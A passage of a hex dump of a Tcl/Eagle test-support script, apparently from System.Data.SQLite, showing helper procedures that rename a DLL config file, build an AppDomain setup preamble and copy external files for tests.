$fullVarNam 9040: 65 20 22 20 5c 7b 22 20 5b 73 65 74 20 24 66 75 e " \{" [set$fu 9050: 6c 6c 56 61 72 4e 61 6d 65 5d 20 5c 7d 0d 0a 20 llVarName] \}.. 9060: 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 }.. 9070: 7d 0d 0a 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 }.... #.. 9080: 20 20 20 20 23 20 4e 4f 54 45 3a 20 49 66 20 74 # NOTE: If t 9090: 68 65 20 72 65 73 75 6c 74 20 63 6f 6e 74 61 69 he result contai 90a0: 6e 73 20 6f 6e 65 20 6f 72 20 6d 6f 72 65 20 73 ns one or more s 90b0: 63 72 69 70 74 20 66 72 61 67 6d 65 6e 74 73 2c cript fragments, 90c0: 20 61 70 70 65 6e 64 20 61 0d 0a 20 20 20 20 20 append a.. 90d0: 20 23 20 20 20 20 20 20 20 6e 65 77 6c 69 6e 65 # newline 90e0: 2e 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 20 ... #.. 90f0: 20 20 69 66 20 7b 5b 73 74 72 69 6e 67 20 6c 65 if {[string le 9100: 6e 67 74 68 20 24 72 65 73 75 6c 74 5d 20 3e 20 ngth $result] > 9110: 30 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 0} then {.. 9120: 20 20 20 61 70 70 65 6e 64 20 72 65 73 75 6c 74 append result 9130: 20 5c 6e 0d 0a 20 20 20 20 20 20 7d 0d 0a 0d 0a \n.. }.... 9140: 20 20 20 20 20 20 72 65 74 75 72 6e 20 24 72 65 return$re 9150: 73 75 6c 74 0d 0a 20 20 20 20 7d 0d 0a 0c 0d 0a sult.. }..... 9160: 20 20 20 20 70 72 6f 63 20 6d 6f 76 65 53 79 73 proc moveSys 9170: 74 65 6d 44 61 74 61 53 51 4c 69 74 65 44 6c 6c temDataSQLiteDll 9180: 43 6f 6e 66 69 67 20 7b 20 7b 72 65 73 74 6f 72 Config { {restor 9190: 65 20 66 61 6c 73 65 7d 20 7b 76 65 72 62 6f 73 e false} {verbos 91a0: 65 20 66 61 6c 73 65 7d 20 7d 20 7b 0d 0a 20 20 e false} } {.. 91b0: 20 20 20 20 73 65 74 20 64 69 72 65 63 74 6f 72 set director 91c0: 79 20 5b 6f 62 6a 65 63 74 20 69 6e 76 6f 6b 65 y [object invoke 91d0: 20 41 70 70 44 6f 6d 61 69 6e 20 43 75 72 72 65 AppDomain Curre 91e0: 6e 74 44 6f 6d 61 69 6e 2e 42 61 73 65 44 69 72 ntDomain.BaseDir 91f0: 65 63 74 6f 72 79 5d 0d 0a 0d 0a 20 20 20 20 20 ectory].... 9200: 20 69 66 20 7b 5b 73 74 72 69 6e 67 20 6c 65 6e if {[string len 9210: 67 74 68 20 24 64 69 72 65 63 74 6f 72 79 5d 20 gth $directory] 9220: 3d 3d 20 30 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 == 0} then {.. 9230: 20 20 20 20 20 20 69 66 20 7b 24 76 65 72 62 6f if {$verbo 9240: 73 65 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 se} then {.. 9250: 20 20 20 20 20 20 74 70 75 74 73 20 24 3a 3a 74 tputs $::t 9260: 65 73 74 5f 63 68 61 6e 6e 65 6c 20 5b 61 70 70 est_channel [app 9270: 65 6e 64 41 72 67 73 20 5c 0d 0a 20 20 20 20 20 endArgs \.. 9280: 20 20 20 20 20 20 20 20 20 22 2d 2d 2d 2d 20 73 "---- s 9290: 6b 69 70 70 65 64 20 6d 6f 76 69 6e 67 20 5c 22 kipped moving \" 92a0: 53 79 73 74 65 6d 2e 44 61 74 61 2e 53 51 4c 69 System.Data.SQLi 92b0: 74 65 2e 64 6c 6c 2e 63 6f 6e 66 69 67 5c 22 2c te.dll.config\", 92c0: 20 22 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 " \.. 92d0: 20 20 20 20 22 6e 6f 20 62 61 73 65 20 64 69 72 "no base dir 92e0: 65 63 74 6f 72 79 5c 6e 22 5d 0d 0a 20 20 20 20 ectory\n"].. 92f0: 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 72 }.. r 9300: 65 74 75 72 6e 0d 0a 20 20 20 20 20 20 7d 0d 0a eturn.. }.. 9310: 0d 0a 20 20 20 20 20 20 73 65 74 20 66 69 6c 65 .. set file 9320: 4e 61 6d 65 28 31 29 20 5b 66 69 6c 65 20 6e 6f Name(1) [file no 9330: 72 6d 61 6c 69 7a 65 20 5c 0d 0a 20 20 20 20 20 rmalize \.. 9340: 20 20 20 20 20 5b 66 69 6c 65 20 6a 6f 69 6e 20 [file join 9350: 24 64 69 72 65 63 74 6f 72 79 20 53 79 73 74 65$directory Syste 9360: 6d 2e 44 61 74 61 2e 53 51 4c 69 74 65 2e 64 6c m.Data.SQLite.dl 9370: 6c 2e 63 6f 6e 66 69 67 5d 5d 0d 0a 0d 0a 20 20 l.config]].... 9380: 20 20 20 20 73 65 74 20 66 69 6c 65 4e 61 6d 65 set fileName 9390: 28 32 29 20 5b 61 70 70 65 6e 64 41 72 67 73 20 (2) [appendArgs 93a0: 24 66 69 6c 65 4e 61 6d 65 28 31 29 20 2e 6d 6f $fileName(1) .mo 93b0: 76 65 64 5d 0d 0a 0d 0a 20 20 20 20 20 20 69 66 ved].... if 93c0: 20 7b 24 72 65 73 74 6f 72 65 7d 20 74 68 65 6e {$restore} then 93d0: 20 7b 0d 0a 20 20 20 20 20 20 20 20 69 66 20 7b {.. if { 93e0: 5b 66 69 6c 65 20 65 78 69 73 74 73 20 24 66 69 [file exists $fi 93f0: 6c 65 4e 61 6d 65 28 32 29 5d 7d 20 74 68 65 6e leName(2)]} then 9400: 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 66 69 {.. fi 9410: 6c 65 20 72 65 6e 61 6d 65 20 24 66 69 6c 65 4e le rename$fileN 9420: 61 6d 65 28 32 29 20 24 66 69 6c 65 4e 61 6d 65 ame(2) $fileName 9430: 28 31 29 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 (1).... 9440: 20 69 66 20 7b 24 76 65 72 62 6f 73 65 7d 20 74 if {$verbose} t 9450: 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 hen {.. 9460: 20 20 20 74 70 75 74 73 20 24 3a 3a 74 65 73 74 tputs $::test 9470: 5f 63 68 61 6e 6e 65 6c 20 5b 61 70 70 65 6e 64 _channel [append 9480: 41 72 67 73 20 5c 0d 0a 20 20 20 20 20 20 20 20 Args \.. 9490: 20 20 20 20 20 20 20 20 22 2d 2d 2d 2d 20 6d 6f "---- mo 94a0: 76 65 64 20 5c 22 22 20 24 66 69 6c 65 4e 61 6d ved \""$fileNam 94b0: 65 28 32 29 20 22 5c 22 20 74 6f 20 5c 22 22 20 e(2) "\" to \"" 94c0: 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 \.. 94d0: 20 20 20 24 66 69 6c 65 4e 61 6d 65 28 31 29 20 $fileName(1) 94e0: 5c 22 5c 6e 5d 0d 0a 20 20 20 20 20 20 20 20 20 \"\n].. 94f0: 20 7d 0d 0a 20 20 20 20 20 20 20 20 7d 20 65 6c }.. } el 9500: 73 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 se {.. 9510: 69 66 20 7b 24 76 65 72 62 6f 73 65 7d 20 74 68 if {$verbose} th 9520: 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 en {.. 9530: 20 20 74 70 75 74 73 20 24 3a 3a 74 65 73 74 5f tputs $::test_ 9540: 63 68 61 6e 6e 65 6c 20 5b 61 70 70 65 6e 64 41 channel [appendA 9550: 72 67 73 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 rgs \.. 9560: 20 20 20 20 20 20 20 22 2d 2d 2d 2d 20 73 6b 69 "---- ski 9570: 70 70 65 64 20 6d 6f 76 69 6e 67 20 5c 22 22 20 pped moving \"" 9580: 24 66 69 6c 65 4e 61 6d 65 28 32 29 20 5c 0d 0a$fileName(2) \.. 9590: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 95a0: 22 5c 22 2c 20 69 74 20 64 6f 65 73 20 6e 6f 74 "\", it does not 95b0: 20 65 78 69 73 74 5c 6e 22 5d 0d 0a 20 20 20 20 exist\n"].. 95c0: 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 }.. 95d0: 20 7d 0d 0a 20 20 20 20 20 20 7d 20 65 6c 73 65 }.. } else 95e0: 20 7b 0d 0a 20 20 20 20 20 20 20 20 69 66 20 7b {.. if { 95f0: 5b 66 69 6c 65 20 65 78 69 73 74 73 20 24 66 69 [file exists $fi 9600: 6c 65 4e 61 6d 65 28 31 29 5d 7d 20 74 68 65 6e leName(1)]} then 9610: 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 66 69 {.. fi 9620: 6c 65 20 72 65 6e 61 6d 65 20 24 66 69 6c 65 4e le rename$fileN 9630: 61 6d 65 28 31 29 20 24 66 69 6c 65 4e 61 6d 65 ame(1) $fileName 9640: 28 32 29 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 (2).... 9650: 20 69 66 20 7b 24 76 65 72 62 6f 73 65 7d 20 74 if {$verbose} t 9660: 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 hen {.. 9670: 20 20 20 74 70 75 74 73 20 24 3a 3a 74 65 73 74 tputs $::test 9680: 5f 63 68 61 6e 6e 65 6c 20 5b 61 70 70 65 6e 64 _channel [append 9690: 41 72 67 73 20 5c 0d 0a 20 20 20 20 20 20 20 20 Args \.. 96a0: 20 20 20 20 20 20 20 20 22 2d 2d 2d 2d 20 6d 6f "---- mo 96b0: 76 65 64 20 5c 22 22 20 24 66 69 6c 65 4e 61 6d ved \""$fileNam 96c0: 65 28 31 29 20 22 5c 22 20 74 6f 20 5c 22 22 20 e(1) "\" to \"" 96d0: 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 \.. 96e0: 20 20 20 24 66 69 6c 65 4e 61 6d 65 28 32 29 20 $fileName(2) 96f0: 5c 22 5c 6e 5d 0d 0a 20 20 20 20 20 20 20 20 20 \"\n].. 9700: 20 7d 0d 0a 20 20 20 20 20 20 20 20 7d 20 65 6c }.. } el 9710: 73 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 se {.. 9720: 69 66 20 7b 24 76 65 72 62 6f 73 65 7d 20 74 68 if {$verbose} th 9730: 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 en {.. 9740: 20 20 74 70 75 74 73 20 24 3a 3a 74 65 73 74 5f tputs $::test_ 9750: 63 68 61 6e 6e 65 6c 20 5b 61 70 70 65 6e 64 41 channel [appendA 9760: 72 67 73 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 rgs \.. 9770: 20 20 20 20 20 20 20 22 2d 2d 2d 2d 20 73 6b 69 "---- ski 9780: 70 70 65 64 20 6d 6f 76 69 6e 67 20 5c 22 22 20 pped moving \"" 9790: 24 66 69 6c 65 4e 61 6d 65 28 31 29 20 5c 0d 0a$fileName(1) \.. 97a0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 97b0: 22 5c 22 2c 20 69 74 20 64 6f 65 73 20 6e 6f 74 "\", it does not 97c0: 20 65 78 69 73 74 5c 6e 22 5d 0d 0a 20 20 20 20 exist\n"].. 97d0: 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 }.. 97e0: 20 7d 0d 0a 20 20 20 20 20 20 7d 0d 0a 20 20 20 }.. }.. 97f0: 20 7d 0d 0a 0c 0d 0a 20 20 20 20 70 72 6f 63 20 }..... proc 9800: 67 65 74 41 70 70 44 6f 6d 61 69 6e 50 72 65 61 getAppDomainPrea 9810: 6d 62 6c 65 20 7b 20 7b 70 72 65 66 69 78 20 22 mble { {prefix " 9820: 22 7d 20 7b 73 75 66 66 69 78 20 22 22 7d 20 7d "} {suffix ""} } 9830: 20 7b 0d 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 {.. #.. 9840: 20 20 20 23 20 4e 4f 54 45 3a 20 54 68 69 73 20 # NOTE: This 9850: 70 72 6f 63 65 64 75 72 65 20 72 65 74 75 72 6e procedure return 9860: 73 20 61 20 74 65 73 74 20 73 65 74 75 70 20 73 s a test setup s 9870: 63 72 69 70 74 20 66 72 61 67 6d 65 6e 74 20 73 cript fragment s 9880: 75 69 74 61 62 6c 65 20 66 6f 72 0d 0a 20 20 20 uitable for.. 9890: 20 20 20 23 20 20 20 20 20 20 20 65 76 61 6c 75 # evalu 98a0: 61 74 69 6f 6e 20 62 79 20 61 6e 20 69 6e 74 65 ation by an inte 98b0: 72 70 72 65 74 65 72 20 63 72 65 61 74 65 64 20 rpreter created 98c0: 69 6e 20 61 6e 20 69 73 6f 6c 61 74 65 64 20 61 in an isolated a 98d0: 70 70 6c 69 63 61 74 69 6f 6e 0d 0a 20 20 20 20 pplication.. 98e0: 20 20 23 20 20 20 20 20 20 20 64 6f 6d 61 69 6e # domain 98f0: 2e 20 20 54 68 65 20 73 63 72 69 70 74 20 66 72 . The script fr 9900: 61 67 6d 65 6e 74 20 62 65 69 6e 67 20 72 65 74 agment being ret 9910: 75 72 6e 65 64 20 77 69 6c 6c 20 62 65 20 73 75 urned will be su 9920: 72 72 6f 75 6e 64 65 64 20 62 79 0d 0a 20 20 20 rrounded by.. 9930: 20 20 20 23 20 20 20 20 20 20 20 74 68 65 20 70 # the p 9940: 72 65 66 69 78 20 61 6e 64 20 73 75 66 66 69 78 refix and suffix 9950: 20 22 73 63 72 69 70 74 20 66 72 61 67 6d 65 6e "script fragmen 9960: 74 73 22 20 73 70 65 63 69 66 69 65 64 20 62 79 ts" specified by 9970: 20 6f 75 72 20 63 61 6c 6c 65 72 2c 0d 0a 20 20 our caller,.. 9980: 20 20 20 20 23 20 20 20 20 20 20 20 69 66 20 61 # if a 9990: 6e 79 2e 20 20 54 68 65 20 65 6e 74 69 72 65 20 ny. The entire 99a0: 73 63 72 69 70 74 20 62 65 69 6e 67 20 72 65 74 script being ret 99b0: 75 72 6e 65 64 20 77 69 6c 6c 20 62 65 20 73 75 urned will be su 99c0: 62 73 74 69 74 75 74 65 64 20 76 69 61 0d 0a 20 bstituted via.. 99d0: 20 20 20 20 20 23 20 20 20 20 20 20 20 5b 73 75 # [su 99e0: 62 73 74 5d 2c 20 69 6e 20 74 68 65 20 63 6f 6e bst], in the con 99f0: 74 65 78 74 20 6f 66 20 6f 75 72 20 63 61 6c 6c text of our call 9a00: 65 72 2c 20 62 65 66 6f 72 65 20 62 65 69 6e 67 er, before being 9a10: 20 72 65 74 75 72 6e 65 64 2e 0d 0a 20 20 20 20 returned... 9a20: 20 20 23 20 20 20 20 20 20 20 54 68 69 73 20 73 # This s 9a30: 74 65 70 20 69 73 20 6e 65 63 65 73 73 61 72 79 tep is necessary 9a40: 20 73 6f 20 74 68 61 74 20 73 6f 6d 65 20 6c 69 so that some li 9a50: 6d 69 74 65 64 20 63 6f 6e 74 65 78 74 20 69 6e mited context in 9a60: 66 6f 72 6d 61 74 69 6f 6e 2c 0d 0a 20 20 20 20 formation,.. 9a70: 20 20 23 20 20 20 20 20 20 20 70 72 69 6d 61 72 # primar 9a80: 69 6c 79 20 72 65 6c 61 74 65 64 20 74 6f 20 74 ily related to t 9a90: 68 65 20 74 65 73 74 69 6e 67 20 64 69 72 65 63 he testing direc 9aa0: 74 6f 72 69 65 73 2c 20 63 61 6e 20 62 65 20 74 tories, can be t 9ab0: 72 61 6e 73 66 65 72 72 65 64 0d 0a 20 20 20 20 ransferred.. 9ac0: 20 20 23 20 20 20 20 20 20 20 74 6f 20 74 68 65 # to the 9ad0: 20 69 6e 74 65 72 70 72 65 74 65 72 20 69 6e 20 interpreter in 9ae0: 74 68 65 20 69 73 6f 6c 61 74 65 64 20 61 70 70 the isolated app 9af0: 6c 69 63 61 74 69 6f 6e 20 64 6f 6d 61 69 6e 2c lication domain, 9b00: 20 6d 61 6b 69 6e 67 20 69 74 0d 0a 20 20 20 20 making it.. 9b10: 20 20 23 20 20 20 20 20 20 20 61 62 6c 65 20 74 # able t 9b20: 6f 20 73 75 63 63 65 73 73 66 75 6c 6c 79 20 72 o successfully r 9b30: 75 6e 20 74 65 73 74 73 20 74 68 61 74 20 72 65 un tests that re 9b40: 71 75 69 72 65 20 6f 6e 65 20 6f 72 20 6d 6f 72 quire one or mor 9b50: 65 20 6f 66 20 74 68 65 0d 0a 20 20 20 20 20 20 e of the.. 9b60: 23 20 20 20 20 20 20 20 66 69 6c 65 73 20 69 6e # files in 9b70: 20 6f 6e 65 20 6f 66 20 74 68 65 20 74 65 73 74 one of the test 9b80: 69 6e 67 20 64 69 72 65 63 74 6f 72 69 65 73 2e ing directories. 9b90: 20 20 43 61 6c 6c 65 72 73 20 73 68 6f 75 6c 64 Callers should 9ba0: 20 6b 65 65 70 20 69 6e 0d 0a 20 20 20 20 20 20 keep in.. 9bb0: 23 20 20 20 20 20 20 20 6d 69 6e 64 20 74 68 61 # mind tha 9bc0: 74 20 74 68 65 20 74 65 73 74 20 73 63 72 69 70 t the test scrip 9bd0: 74 20 66 72 61 67 6d 65 6e 74 20 62 65 69 6e 67 t fragment being 9be0: 20 72 65 74 75 72 6e 65 64 20 63 61 6e 6e 6f 74 returned cannot 9bf0: 20 72 65 6c 79 20 6f 6e 0d 0a 20 20 20 20 20 20 rely on.. 9c00: 23 20 20 20 20 20 20 20 61 6e 79 20 73 63 72 69 # any scri 9c10: 70 74 20 6c 69 62 72 61 72 79 20 70 72 6f 63 65 pt library proce 9c20: 64 75 72 65 73 20 74 68 61 74 20 61 72 65 20 6e dures that are n 9c30: 6f 74 20 70 72 6f 76 69 64 65 64 20 62 79 20 74 ot provided by t 9c40: 68 65 20 45 61 67 6c 65 0d 0a 20 20 20 20 20 20 he Eagle.. 9c50: 23 20 20 20 20 20 20 20 6c 69 62 72 61 72 79 20 # library 9c60: 70 61 63 6b 61 67 65 20 28 69 2e 65 2e 20 22 69 package (i.e. "i 9c70: 6e 69 74 2e 65 61 67 6c 65 22 29 2c 20 69 6e 63 nit.eagle"), inc 9c80: 6c 75 64 69 6e 67 20 74 68 6f 73 65 20 70 72 6f luding those pro 9c90: 76 69 64 65 64 20 62 79 0d 0a 20 20 20 20 20 20 vided by.. 9ca0: 23 20 20 20 20 20 20 20 74 68 65 20 45 61 67 6c # the Eagl 9cb0: 65 20 74 65 73 74 20 70 61 63 6b 61 67 65 2c 20 e test package, 9cc0: 75 6e 6c 65 73 73 20 74 68 65 20 66 69 6c 65 20 unless the file 9cd0: 63 6f 6e 74 61 69 6e 69 6e 67 20 74 68 65 6d 20 containing them 9ce0: 69 73 20 6c 6f 61 64 65 64 0d 0a 20 20 20 20 20 is loaded.. 9cf0: 20 23 20 20 20 20 20 20 20 6d 61 6e 75 61 6c 6c # manuall 9d00: 79 20 76 69 61 20 73 6f 6d 65 20 6f 74 68 65 72 y via some other 9d10: 20 6d 65 63 68 61 6e 69 73 6d 20 28 65 2e 67 2e mechanism (e.g. 9d20: 20 62 79 20 69 6e 63 6c 75 64 69 6e 67 20 61 70 by including ap 9d30: 70 72 6f 70 72 69 61 74 65 0d 0a 20 20 20 20 20 propriate.. 9d40: 20 23 20 20 20 20 20 20 20 5b 70 61 63 6b 61 67 # [packag 9d50: 65 20 72 65 71 75 69 72 65 5d 20 6f 72 20 5b 73 e require] or [s 9d60: 6f 75 72 63 65 5d 20 63 6f 6d 6d 61 6e 64 73 20 ource] commands 9d70: 69 6e 20 74 68 65 20 70 72 65 66 69 78 20 6f 72 in the prefix or 9d80: 20 73 75 66 66 69 78 0d 0a 20 20 20 20 20 20 23 suffix.. # 9d90: 20 20 20 20 20 20 20 73 63 72 69 70 74 20 66 72 script fr 9da0: 61 67 6d 65 6e 74 73 29 2e 20 20 41 6c 73 6f 2c agments). Also, 9db0: 20 61 6c 6c 20 76 61 72 69 61 62 6c 65 20 72 65 all variable re 9dc0: 66 65 72 65 6e 63 65 73 20 61 6e 64 20 61 6c 6c ferences and all 9dd0: 20 6e 65 73 74 65 64 0d 0a 20 20 20 20 20 20 23 nested.. # 9de0: 20 20 20 20 20 20 20 63 6f 6d 6d 61 6e 64 73 20 commands 9df0: 28 69 2e 65 2e 20 74 68 6f 73 65 20 69 6e 20 73 (i.e. those in s 9e00: 71 75 61 72 65 20 62 72 61 63 6b 65 74 73 29 20 quare brackets) 9e10: 63 6f 6e 74 61 69 6e 65 64 20 69 6e 20 74 68 65 contained in the 9e20: 20 66 69 6e 61 6c 0d 0a 20 20 20 20 20 20 23 20 final.. # 9e30: 20 20 20 20 20 20 73 63 72 69 70 74 20 66 72 61 script fra 9e40: 67 6d 65 6e 74 20 77 69 6c 6c 20 65 6e 64 20 75 gment will end u 9e50: 70 20 62 65 69 6e 67 20 65 76 61 6c 75 61 74 65 p being evaluate 9e60: 64 20 69 6e 20 74 68 65 20 63 6f 6e 74 65 78 74 d in the context 9e70: 20 6f 66 20 74 68 65 0d 0a 20 20 20 20 20 20 23 of the.. # 9e80: 20 20 20 20 20 20 20 63 61 6c 6c 69 6e 67 20 69 calling i 9e90: 6e 74 65 72 70 72 65 74 65 72 20 61 6e 64 20 6e nterpreter and n 9ea0: 6f 74 20 74 68 65 20 74 61 72 67 65 74 20 69 6e ot the target in 9eb0: 74 65 72 70 72 65 74 65 72 20 63 72 65 61 74 65 terpreter create 9ec0: 64 20 69 6e 20 74 68 65 0d 0a 20 20 20 20 20 20 d in the.. 9ed0: 23 20 20 20 20 20 20 20 69 73 6f 6c 61 74 65 64 # isolated 9ee0: 20 61 70 70 6c 69 63 61 74 69 6f 6e 20 64 6f 6d application dom 9ef0: 61 69 6e 20 75 6e 6c 65 73 73 20 74 68 65 20 64 ain unless the d 9f00: 6f 6c 6c 61 72 20 73 69 67 6e 73 20 61 6e 64 2f ollar signs and/ 9f10: 6f 72 20 73 71 75 61 72 65 0d 0a 20 20 20 20 20 or square.. 9f20: 20 23 20 20 20 20 20 20 20 62 72 61 63 6b 65 74 # bracket 9f30: 73 20 61 72 65 20 73 70 65 63 69 61 6c 6c 79 20 s are specially 9f40: 71 75 6f 74 65 64 20 77 69 74 68 20 62 61 63 6b quoted with back 9f50: 73 6c 61 73 68 65 73 2e 0d 0a 20 20 20 20 20 20 slashes... 9f60: 23 0d 0a 20 20 20 20 20 20 72 65 74 75 72 6e 20 #.. return 9f70: 5b 75 70 6c 65 76 65 6c 20 31 20 5b 6c 69 73 74 [uplevel 1 [list 9f80: 20 73 75 62 73 74 20 5b 61 70 70 65 6e 64 41 72 subst [appendAr 9f90: 67 73 20 24 70 72 65 66 69 78 20 7b 0d 0a 20 20 gs $prefix {.. 9fa0: 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 #.. 9fb0: 20 23 20 4e 4f 54 45 3a 20 54 68 65 20 5c 5b 6f # NOTE: The $o 9fc0: 62 6a 65 63 74 5c 5d 20 63 6f 6d 6d 61 6e 64 20 bject$ command 9fd0: 6d 61 79 20 62 65 20 6d 69 73 73 69 6e 67 20 69 may be missing i 9fe0: 6e 20 73 6f 6d 65 20 45 61 67 6c 65 20 63 6f 72 n some Eagle cor 9ff0: 65 0d 0a 20 20 20 20 20 20 20 20 23 20 20 20 20 e.. # a000: 20 20 20 6c 69 62 72 61 72 79 20 63 6f 6e 66 69 library confi a010: 67 75 72 61 74 69 6f 6e 73 2e 20 20 43 6c 6f 6e gurations. Clon a020: 69 6e 67 20 61 6e 64 20 75 73 69 6e 67 20 74 68 ing and using th a030: 65 20 70 72 6f 63 65 64 75 72 65 0d 0a 20 20 20 e procedure.. a040: 20 20 20 20 20 23 20 20 20 20 20 20 20 5c 5b 63 # $c a050: 68 61 6e 67 65 4e 61 74 69 76 65 52 75 6e 74 69 hangeNativeRunti a060: 6d 65 4f 70 74 69 6f 6e 5c 5d 20 6d 61 79 20 68 meOption$ may h a070: 65 6c 70 20 74 6f 20 6d 69 74 69 67 61 74 65 20 elp to mitigate a080: 74 68 69 73 2e 0d 0a 20 20 20 20 20 20 20 20 23 this... # a090: 0d 0a 20 20 20 20 20 20 20 20 70 72 6f 63 20 63 .. proc c a0a0: 68 61 6e 67 65 4e 61 74 69 76 65 52 75 6e 74 69 hangeNativeRunti a0b0: 6d 65 4f 70 74 69 6f 6e 20 5c 0d 0a 20 20 20 20 meOption \.. a0c0: 20 20 20 20 20 20 20 20 7b 5b 69 6e 66 6f 20 61 {[info a a0d0: 72 67 73 20 63 68 61 6e 67 65 4e 61 74 69 76 65 rgs changeNative a0e0: 52 75 6e 74 69 6d 65 4f 70 74 69 6f 6e 5d 7d 20 RuntimeOption]} a0f0: 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7b \.. { a100: 5b 69 6e 66 6f 20 62 6f 64 79 20 63 68 61 6e 67 [info body chang a110: 65 4e 61 74 69 76 65 52 75 6e 74 69 6d 65 4f 70 eNativeRuntimeOp a120: 74 69 6f 6e 5d 7d 0d 0a 0d 0a 20 20 20 20 20 20 tion]}.... a130: 20 20 63 61 74 63 68 20 7b 0d 0a 20 20 20 20 20 catch {.. a140: 20 20 20 20 20 63 68 61 6e 67 65 4e 61 74 69 76 changeNativ a150: 65 52 75 6e 74 69 6d 65 4f 70 74 69 6f 6e 20 5b eRuntimeOption [ a160: 68 61 73 52 75 6e 74 69 6d 65 4f 70 74 69 6f 6e hasRuntimeOption a170: 20 6e 61 74 69 76 65 5d 0d 0a 20 20 20 20 20 20 native].. a180: 20 20 7d 0d 0a 20 20 20 20 20 20 7d 20 5b 67 65 }.. } [ge a190: 74 54 65 73 74 4f 76 65 72 72 69 64 65 73 50 72 tTestOverridesPr a1a0: 65 61 6d 62 6c 65 20 5b 6c 69 73 74 20 70 61 74 eamble [list pat a1b0: 68 20 74 65 73 74 5f 63 68 61 6e 6e 65 6c 5d 5d h test_channel]] a1c0: 20 24 73 75 66 66 69 78 5d 5d 5d 0d 0a 20 20 20$suffix]]].. a1d0: 20 7d 0d 0a 0c 0d 0a 20 20 20 20 70 72 6f 63 20 }..... proc a1e0: 74 72 79 43 6f 70 79 45 78 74 65 72 6e 61 6c 46 tryCopyExternalF a1f0: 69 6c 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 ile {.. a200: 20 20 20 66 69 6c 65 4e 61 6d 65 20 7b 70 6c 61 fileName {pla a210: 74 66 6f 72 6d 20 22 22 7d 20 7b 6e 65 77 46 69 tform ""} {newFi a220: 6c 65 4e 61 6d 65 20 22 22 7d 20 7b 76 65 72 62 leName ""} {verb a230: 6f 73 65 20 66 61 6c 73 65 7d 20 7d 20 7b 0d 0a ose false} } {.. a240: 20 20 20 20 20 20 73 65 74 20 73 6f 75 72 63 65 set source a250: 46 69 6c 65 4e 61 6d 65 20 5b 67 65 74 45 78 74 FileName [getExt a260: 65 72 6e 61 6c 46 69 6c 65 4e 61 6d 65 20 24 66 ernalFileName $f a270: 69 6c 65 4e 61 6d 65 5d 0d 0a 0d 0a 20 20 20 20 ileName].... a280: 20 20 69 66 20 7b 21 5b 66 69 6c 65 20 65 78 69 if {![file exi a290: 73 74 73 20 24 73 6f 75 72 63 65 46 69 6c 65 4e sts$sourceFileN a2a0: 61 6d 65 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 ame]} then {.. a2b0: 20 20 20 20 20 20 69 66 20 7b 24 76 65 72 62 6f if {$verbo a2c0: 73 65 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 se} then {.. a2d0: 20 20 20 20 20 20 74 70 75 74 73 20 24 3a 3a 74 tputs$::t a2e0: 65 73 74 5f 63 68 61 6e 6e 65 6c 20 5b 61 70 70 est_channel [app a2f0: 65 6e 64 41 72 67 73 20 5c 0d 0a 20 20 20 20 20 endArgs \.. a300: 20 20 20 20 20 20 20 20 20 22 2d 2d 2d 2d 20 73 "---- s a310: 6b 69 70 70 65 64 20 63 6f 70 79 69 6e 67 20 65 kipped copying e a320: 78 74 65 72 6e 61 6c 20 66 69 6c 65 20 5c 22 22 xternal file \"" a330: 20 24 73 6f 75 72 63 65 46 69 6c 65 4e 61 6d 65 $sourceFileName a340: 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 \.. a350: 20 20 22 5c 22 2c 20 69 74 20 64 6f 65 73 20 6e "\", it does n a360: 6f 74 20 65 78 69 73 74 5c 6e 22 5d 0d 0a 20 20 ot exist\n"].. a370: 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 }.. a380: 20 72 65 74 75 72 6e 0d 0a 20 20 20 20 20 20 7d return.. } a390: 0d 0a 0d 0a 20 20 20 20 20 20 69 66 20 7b 5b 73 .... if {[s a3a0: 74 72 69 6e 67 20 6c 65 6e 67 74 68 20 24 6e 65 tring length$ne a3b0: 77 46 69 6c 65 4e 61 6d 65 5d 20 3e 20 30 7d 20 wFileName] > 0} a3c0: 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 then {.. a3d0: 73 65 74 20 74 61 72 67 65 74 46 69 6c 65 4e 61 set targetFileNa a3e0: 6d 65 20 5b 67 65 74 42 69 6e 61 72 79 46 69 6c me [getBinaryFil a3f0: 65 4e 61 6d 65 20 24 6e 65 77 46 69 6c 65 4e 61 eName $newFileNa a400: 6d 65 20 24 70 6c 61 74 66 6f 72 6d 5d 0d 0a 20 me$platform].. a410: 20 20 20 20 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 } else {.. a420: 20 20 20 20 20 20 20 73 65 74 20 74 61 72 67 65 set targe a430: 74 46 69 6c 65 4e 61 6d 65 20 5b 67 65 74 42 69 tFileName [getBi a440: 6e 61 72 79 46 69 